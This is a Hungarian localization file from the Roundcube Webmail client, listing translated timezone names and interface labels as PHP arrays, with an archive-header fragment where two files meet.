$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Kartúm';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinshasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadishu';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'Ndjamena';
$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nouakchott';
$labels['tz:africa:ouagadougou'] = 'Ouagadougou';
$labels['tz:africa:porto-novo'] = 'Porto-Novo';
$labels['tz:africa:sao_tome'] = 'São Tomé';
$labels['tz:africa:tripoli'] = 'Tripoli';
$labels['tz:africa:tunis'] = 'Tunisz';
$labels['tz:africa:windhoek'] = 'Windhoek';
$labels['tz:america'] = 'Amerika';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaina';
$labels['tz:america:argentina'] = 'Argentina';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:catamarca'] = 'Catamarca';
$labels['tz:america:argentina:cordoba'] = 'Cordoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'La Rioja';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Rio Gallegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucuman';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asunción';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahia Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belem';
$labels['tz:america:belize'] = 'Belize';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogota';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge-öböl';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancun';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Cayenne';
$labels['tz:america:cayman'] = 'Kajmán';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Costa Rica';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiaba';
$labels['tz:america:curacao'] = 'Curaçao';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominica';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepe';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Godthab';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Grenada';
$labels['tz:america:guadeloupe'] = 'Guadeloupe';
$labels['tz:america:guatemala'] = 'Guatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Guyana';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'Havana';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:knox'] = 'Knox';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevay';
$labels['tz:america:indiana:vincennes'] = 'Vincennes';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Jamaica';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Angeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceio';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martinique';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlan';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Merida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Mexikó Város';
$labels['tz:america:miquelon'] = 'Miquelon';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'New York';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'Észak Dakota';
$labels['tz:america:north_dakota:beulah'] = 'Beulah';
$labels['tz:america:north_dakota:center'] = 'Központ';
$labels['tz:america:north_dakota:new_salem'] = 'New Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Főnix';
$labels['tz:america:port-au-prince'] = 'Port-au-Prince';
$labels['tz:america:port_of_spain'] = 'Spanyolország kikötője';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Puerto Rico';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarem';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'Sao Paulo';
$labels['tz:america:scoresbysund'] = 'Scoresbysund';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'Saint Barthélemy';
$labels['tz:america:st_johns'] = "Saint John's";
$labels['tz:america:st_kitts'] = 'Saint Kitts';
$labels['tz:america:st_lucia'] = 'Saint Lucia';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Saint Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antarctica';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d'Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Északisark';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Ázsia';
$labels['tz:asia:aden'] = 'Aden';
$labels['tz:asia:almaty'] = 'Almaty';
$labels['tz:asia:amman'] = 'Amman';
$labels['tz:asia:anadyr'] = 'Anadyr';
$labels['tz:asia:aqtau'] = 'Aqtau';
$labels['tz:asia:aqtobe'] = 'Aqtobe';
$labels['tz:asia:ashgabat'] = 'Ashgabat';
$labels['tz:asia:atyrau'] = 'Atyrau';
$labels['tz:asia:baghdad'] = 'Bagdad';
$labels['tz:asia:bahrain'] = 'Bahrain';
$labels['tz:asia:baku'] = 'Baku';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaul';
$labels['tz:asia:beirut'] = 'Bejrút';
$labels['tz:asia:bishkek'] = 'Bishkek';
$labels['tz:asia:brunei'] = 'Brunei';
$labels['tz:asia:chita'] = 'Chita';
$labels['tz:asia:choibalsan'] = 'Choibalsan';
$labels['tz:asia:colombo'] = 'Colombo';
$labels['tz:asia:damascus'] = 'Damaszkusz';
$labels['tz:asia:dhaka'] = 'Dhaka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubai';
$labels['tz:asia:dushanbe'] = 'Dushanbe';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gáza';
$labels['tz:asia:hebron'] = 'Hebron';
$labels['tz:asia:ho_chi_minh'] = 'Ho Chi Minh';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkutsk';
$labels['tz:asia:jakarta'] = 'Jakarta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Jeruzsálem';
$labels['tz:asia:kabul'] = 'Kabul';
$labels['tz:asia:kamchatka'] = 'Kamcsatka';
$labels['tz:asia:karachi'] = 'Karachi';
$labels['tz:asia:kathmandu'] = 'Kathmandu';
$labels['tz:asia:khandyga'] = 'Khandyga';
$labels['tz:asia:kolkata'] = 'Kolkata';
$labels['tz:asia:krasnoyarsk'] = 'Krasnoyarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Kuvait';
$labels['tz:asia:macau'] = 'Macau';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:makassar'] = 'Makassar';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Muscat';
$labels['tz:asia:nicosia'] = 'Nicosia';
$labels['tz:asia:novokuznetsk'] = 'Novokuznetsk';
$labels['tz:asia:novosibirsk'] = 'Novosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Phnom Penh';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'Pyongyang';
$labels['tz:asia:qatar'] = 'Katar';
$labels['tz:asia:qyzylorda'] = 'Qyzylorda';
$labels['tz:asia:riyadh'] = 'Riyadh';
$labels['tz:asia:sakhalin'] = 'Sakhalin';
$labels['tz:asia:samarkand'] = 'Samarkand';
$labels['tz:asia:seoul'] = 'Szöul';
$labels['tz:asia:shanghai'] = 'Shanghai';
$labels['tz:asia:singapore'] = 'Szingapúr';
$labels['tz:asia:srednekolymsk'] = 'Srednekolymsk';
$labels['tz:asia:taipei'] = 'Tajpej';
$labels['tz:asia:tashkent'] = 'Tashkent';
$labels['tz:asia:tbilisi'] = 'Tbilisi';
$labels['tz:asia:tehran'] = 'Teherán';
$labels['tz:asia:thimphu'] = 'Thimphu';
$labels['tz:asia:tokyo'] = 'Tokió';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ulaanbaatar';
$labels['tz:asia:urumqi'] = 'Urumqi';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientiane';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Yakutsk';
$labels['tz:asia:yangon'] = 'Yangon';
$labels['tz:asia:yekaterinburg'] = 'Yekaterinburg';
$labels['tz:asia:yerevan'] = 'Yerevan';
$labels['tz:atlantic'] = 'Atlanti';
$labels['tz:atlantic:azores'] = 'Azores';
$labels['tz:atlantic:bermuda'] = 'Bermuda';
$labels['tz:atlantic:canary'] = 'Kanári';
$labels['tz:atlantic:cape_verde'] = 'Cape Verde';
$labels['tz:atlantic:faroe'] = 'Faroe';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reykjavik';
$labels['tz:atlantic:south_georgia'] = 'South Georgia';
$labels['tz:atlantic:st_helena'] = 'St Helena';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'Ausztrália';
$labels['tz:australia:adelaide'] = 'Adelaide';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Howe';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sydney';
$labels['tz:europe'] = 'Európa';
$labels['tz:europe:amsterdam'] = 'Amszterdam';
$labels['tz:europe:andorra'] = 'Andorra';
$labels['tz:europe:astrakhan'] = 'Astrakhan';
$labels['tz:europe:athens'] = 'Athén';
$labels['tz:europe:belgrade'] = 'Belgrád';
$labels['tz:europe:berlin'] = 'Berlin';
$labels['tz:europe:bratislava'] = 'Pozsony';
$labels['tz:europe:brussels'] = 'Brüsszel';
$labels['tz:europe:bucharest'] = 'Bukarest';
$labels['tz:europe:budapest'] = 'Budapest';
$labels['tz:europe:busingen'] = 'Busingen';
$labels['tz:europe:chisinau'] = 'Chisinau';
$labels['tz:europe:copenhagen'] = 'Koppenhága';
$labels['tz:europe:dublin'] = 'Dublin';
$labels['tz:europe:gibraltar'] = 'Gibraltár';
$labels['tz:europe:guernsey'] = 'Guernsey';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'Isle of Man';
$labels['tz:europe:istanbul'] = 'Isztanbul';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad';
$labels['tz:europe:kiev'] = 'Kijev';
$labels['tz:europe:kirov'] = 'Kirov';
$labels['tz:europe:lisbon'] = 'Lisszabon';
$labels['tz:europe:ljubljana'] = 'Ljubljana';
$labels['tz:europe:london'] = 'London';
$labels['tz:europe:luxembourg'] = 'Luxembourg';
$labels['tz:europe:madrid'] = 'Madrid';
$labels['tz:europe:malta'] = 'Málta';
$labels['tz:europe:mariehamn'] = 'Mariehamn';
$labels['tz:europe:minsk'] = 'Minszk';
$labels['tz:europe:monaco'] = 'Monakó';
$labels['tz:europe:moscow'] = 'Moszkva';
$labels['tz:europe:oslo'] = 'Oszlo';
$labels['tz:europe:paris'] = 'Párizs';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Prága';
$labels['tz:europe:riga'] = 'Riga';
$labels['tz:europe:rome'] = 'Róma';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Szarajevó';
$labels['tz:europe:saratov'] = 'Saratov';
$labels['tz:europe:simferopol'] = 'Simferopol';
$labels['tz:europe:skopje'] = 'Skopje';
$labels['tz:europe:sofia'] = 'Szófia';
$labels['tz:europe:stockholm'] = 'Stokholm';
$labels['tz:europe:tallinn'] = 'Tallinn';
$labels['tz:europe:tirane'] = 'Tirane';
$labels['tz:europe:ulyanovsk'] = 'Ulyanovsk';
$labels['tz:europe:uzhgorod'] = 'Uzhgorod';
$labels['tz:europe:vaduz'] = 'Vaduz';
$labels['tz:europe:vatican'] = 'Vatikán';
$labels['tz:europe:vienna'] = 'Bécs';
$labels['tz:europe:vilnius'] = 'Vilnius';
$labels['tz:europe:volgograd'] = 'Volgográd';
$labels['tz:europe:warsaw'] = 'Varsó';
$labels['tz:europe:zagreb'] = 'Zágráb';
$labels['tz:europe:zaporozhye'] = 'Zaporozhye';
$labels['tz:europe:zurich'] = 'Zürich';
$labels['tz:indian'] = 'India';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Chagos';
$labels['tz:indian:christmas'] = 'Christmas';
$labels['tz:indian:cocos'] = 'Cocos';
$labels['tz:indian:comoro'] = 'Comoro';
$labels['tz:indian:kerguelen'] = 'Kerguelen';
$labels['tz:indian:mahe'] = 'Mahe';
$labels['tz:indian:maldives'] = 'Maldives';
$labels['tz:indian:mauritius'] = 'Mauritius';
$labels['tz:indian:mayotte'] = 'Mayotte';
$labels['tz:indian:reunion'] = 'Újraegyesítés';
$labels['tz:pacific'] = 'Csendes-óceáni';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Auckland';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chatham'] = 'Chatham';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:easter'] = 'Easter';
$labels['tz:pacific:efate'] = 'Efate';
$labels['tz:pacific:enderbury'] = 'Enderbury';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fiji';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Galapagos';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:guam'] = 'Guam';
$labels['tz:pacific:honolulu'] = 'Honolulu';
$labels['tz:pacific:johnston'] = 'Johnston';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kwajalein';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Marquesas';
$labels['tz:pacific:midway'] = 'Midway';
$labels['tz:pacific:nauru'] = 'Nauru';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Noumea';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'Palau';
$labels['tz:pacific:pitcairn'] = 'Pitcairn';
$labels['tz:pacific:pohnpei'] = 'Pohnpei';
$labels['tz:pacific:port_moresby'] = 'Port Moresby';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Saipan';
$labels['tz:pacific:tahiti'] = 'Tahiti';
$labels['tz:pacific:tarawa'] = 'Tarawa';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Wake';
$labels['tz:pacific:wallis'] = 'Wallis';
PK
h�\`P�R�R�%program/localization/hu_HU/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Üdvözli a $product';
$labels['username'] = 'Felhasználónév';
$labels['password'] = 'Jelszó';
$labels['server'] = 'Szerver';
$labels['login'] = 'Bejelentkezés';
$labels['oauthlogin'] = 'Bejelentkezni a következővel $provider';
$labels['menu'] = 'Menű';
$labels['logout'] = 'Kijelentkezés';
$labels['mail'] = 'E-mail';
$labels['settings'] = 'Beállítások';
$labels['addressbook'] = 'Címjegyzék';
$labels['darkmode'] = 'Sötét mód';
$labels['lightmode'] = 'Világos mód';
$labels['inbox'] = 'Érkezettek';
$labels['drafts'] = 'Piszkozatok';
$labels['sent'] = 'Küldöttek';
$labels['trash'] = 'Kuka';
$labels['junk'] = 'Kéretlen';
$labels['show_real_foldernames'] = 'Valódi nevek megjelenítése a speciális mappáknál';
$labels['subject'] = 'Tárgy';
$labels['from'] = 'Feladó';
$labels['sender'] = 'Feladó';
$labels['to'] = 'Címzett';
$labels['cc'] = 'Másolat';
$labels['bcc'] = 'Titkos másolat';
$labels['replyto'] = 'Válaszcím';
$labels['followupto'] = 'Hírcsoport válasz';
$labels['date'] = 'Dátum';
$labels['size'] = 'Méret';
$labels['priority'] = 'Sürgősség';
$labels['organization'] = 'Szervezet';
$labels['readstatus'] = 'Olvasott';
$labels['listoptions'] = 'Üzenetlista beállítások...';
$labels['listoptionstitle'] = 'Üzenetlista beállítások.';
$labels['mailboxlist'] = 'Mappák';
$labels['messagesfromto'] = 'Üzenetek: $from - $to / $count';
$labels['threadsfromto'] = 'Témák: $from - $to / $count';
$labels['messagenrof'] = '$nr / $count üzenet';
$labels['fromtoshort'] = '$from – $to / $count';
$labels['copy'] = 'Másolás';
$labels['move'] = 'Áthelyezés';
$labels['moveto'] = 'Áthelyezés...';
$labels['copyto'] = 'Másolás..';
$labels['download'] = 'letöltés';
$labels['open'] = 'Megnyitás';
$labels['showattachment'] = 'Megjelenítés';
$labels['showanyway'] = 'Megjelnítés mindenképpen';
$labels['filename'] = 'Fájl neve';
$labels['filesize'] = 'Fájl mérete';
$labels['addtoaddressbook'] = 'Hozzáadás a címjegyzékhez';
$labels['sun'] = 'Vas';
$labels['mon'] = 'Hét';
$labels['tue'] = 'Kedd';
$labels['wed'] = 'Szer';
$labels['thu'] = 'Csüt';
$labels['fri'] = 'Pén';
$labels['sat'] = 'Szom';
$labels['sunday'] = 'Vasárnap';
$labels['monday'] = 'Hétfő';
$labels['tuesday'] = 'Kedd';
$labels['wednesday'] = 'Szerda';
$labels['thursday'] = 'Csütörtök';
$labels['friday'] = 'Péntek';
$labels['saturday'] = 'Szombat';
$labels['jan'] = 'Jan';
$labels['feb'] = 'Febr';
$labels['mar'] = 'Márc';
$labels['apr'] = 'Ápr';
$labels['may'] = 'Május';
$labels['jun'] = 'Jún';
$labels['jul'] = 'Júl';
$labels['aug'] = 'Aug';
$labels['sep'] = 'Szept';
$labels['oct'] = 'Okt';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Dec';
$labels['longjan'] = 'Január';
$labels['longfeb'] = 'Február';
$labels['longmar'] = 'Március';
$labels['longapr'] = 'Április';
$labels['longmay'] = 'Május';
$labels['longjun'] = 'Június';
$labels['longjul'] = 'Július';
$labels['longaug'] = 'Augusztus';
$labels['longsep'] = 'Szeptember';
$labels['longoct'] = 'Október';
$labels['longnov'] = 'November';
$labels['longdec'] = 'December';
$labels['today'] = 'Ma';
$labels['refresh'] = 'Frissítés';
$labels['checkmail'] = 'Új üzenetek ellenőrzése';
$labels['compose'] = 'Új üzenet';
$labels['writenewmessage'] = 'Új üzenet';
$labels['reply'] = 'Válasz';
$labels['replytomessage'] = 'Válasz';
$labels['replytoallmessage'] = 'Válasz a listának vagy a feladónak és az összes címzettnek';
$labels['replyall'] = 'Válasz mindenkinek';
$labels['replylist'] = 'Válasz a listának';
$labels['forward'] = 'Továbbítás';
$labels['forwardinline'] = 'Továbbítás beágyazva';
$labels['forwardattachment'] = 'Továbbítás csatolmányként';
$labels['forwardmessage'] = 'Továbbítás';
$labels['bouncemsg'] = 'Újraküldés (visszapattanás)';
$labels['bounce'] = 'Újraküldés';
$labels['deletemessage'] = 'Törlés';
$labels['movemessagetotrash'] = 'Üzenet törlése';
$labels['printmessage'] = 'Nyomtatás';
$labels['previousmessage'] = 'Előző levél mutatása';
$labels['firstmessage'] = 'Első levél mutatása';
$labels['nextmessage'] = 'Következő levél mutatása';
$labels['lastmessage'] = 'Utolsó levél mutatása';
$labels['backtolist'] = 'Vissza az üzenetekhez';
$labels['viewsource'] = 'Forrás megtekintése';
$labels['mark'] = 'Jelölés';
$labels['markmessages'] = 'Üzenetek megjelölése';
$labels['markread'] = 'Olvasottként';
$labels['markunread'] = 'Olvasatlanként';
$labels['markflagged'] = 'Jelöltként';
$labels['markunflagged'] = 'Jelöletlenként';
$labels['markundeleted'] = 'nem töröltre jelöl';
$labels['moreactions'] = 'További műveletek...';
$labels['markallread'] = 'Mind megjelölése olvasottként';
$labels['folders-cur'] = 'Csak a kiválasztott mappa';
$labels['folders-sub'] = 'Kiválasztott mappák és almappák';
$labels['folders-all'] = 'Összes mappa';
$labels['more'] = 'Még...';
$labels['back'] = 'Vissza';
$labels['options'] = 'Beállítások';
$labels['composeoptions'] = 'Levélírás opciói';
$labels['optionsandattachments'] = 'Opciók és csatolmányok';
$labels['actions'] = 'Műveletek';
$labels['first'] = 'Első';
$labels['last'] = 'Utolsó';
$labels['previous'] = 'Előző';
$labels['next'] = 'Következő';
$labels['select'] = 'Kijelölés';
$labels['selection'] = 'Kijelölés';
$labels['all'] = 'Összes';
$labels['none'] = 'Nincs';
$labels['currpage'] = 'Aktuális oldal';
$labels['isread'] = 'Olvasás';
$labels['unread'] = 'Olvasatlan';
$labels['flagged'] = 'Megjelölt';
$labels['unflagged'] = 'Nem megjelölt';
$labels['unanswered'] = 'Megválaszolatlan';
$labels['withattachment'] = 'Csatolmánnyal';
$labels['deleted'] = 'Törölt';
$labels['undeleted'] = 'Nem lett törölve';
$labels['replied'] = 'Megválaszolva';
$labels['forwarded'] = 'Továbbítva';
$labels['invert'] = 'Invertálás';
$labels['filter'] = 'Szűrés';
$labels['list'] = 'Lista';
$labels['threads'] = 'Téma csoportok';
$labels['expand-all'] = 'Összes kibontása';
$labels['expand-unread'] = 'Olvasatlanok kibontása';
$labels['collapse-all'] = 'Összes összecsukása';
$labels['threaded'] = 'Témák szerinti csoportosítás';
$labels['showunread'] = 'Olvasatlan üzenetek megjelenítése';
$labels['autoexpand_threads'] = 'Témacsoportok kibontása';
$labels['do_expand'] = 'minden téma';
$labels['expand_only_unread'] = 'csak ahol van olvasatlan üzenet';
$labels['fromto'] = 'Feladó/Címzett';
$labels['flag'] = 'Megjelölés';
$labels['attachment'] = 'Csatolmány';
$labels['nonesort'] = 'Nincs';
$labels['sentdate'] = 'Feladva';
$labels['arrival'] = 'Kézbesítve';
$labels['asc'] = 'Emelkedő';
$labels['desc'] = 'Csökkenő';
$labels['listcolumns'] = 'Oszlopok listája';
$labels['listsorting'] = 'Rendezés oszlopa';
$labels['listorder'] = 'Rendezés sorrendje';
$labels['listmode'] = 'Megjelenítési mód';
$labels['lmode'] = 'Megjelenítési mód';
$labels['layout'] = 'Elrendezés';
$labels['layoutwidescreen'] = 'Szélesképernyő';
$labels['layoutdesktop'] = 'Asztal';
$labels['layoutlist'] = 'Lista';
$labels['layoutwidescreendesc'] = 'Szélesvásznú (3-oszlopos nézet)';
$labels['layoutdesktopdesc'] = 'Asztali ( széles üzenetlista és alatta betekintő a levélbe)';
$labels['layoutlistdesc'] = 'Lista (nincs a levélbe betekintő)';
$labels['folderactions'] = 'Mappaműveletek...';
$labels['compact'] = 'Tömörítés';
$labels['empty'] = 'Kiürítés';
$labels['importmessages'] = 'Üzenetek importálása';
$labels['mailimportdesc'] = 'Feltölthetsz leveleket a <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> vagy <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a> formátumban.';
$labels['mailimportzip'] = 'Több file-t lehet összetömöríteni egy a zip fileba.';
$labels['quota'] = 'Helyfoglalás';
$labels['unknown'] = 'ismeretlen';
$labels['unlimited'] = 'korlátlan';
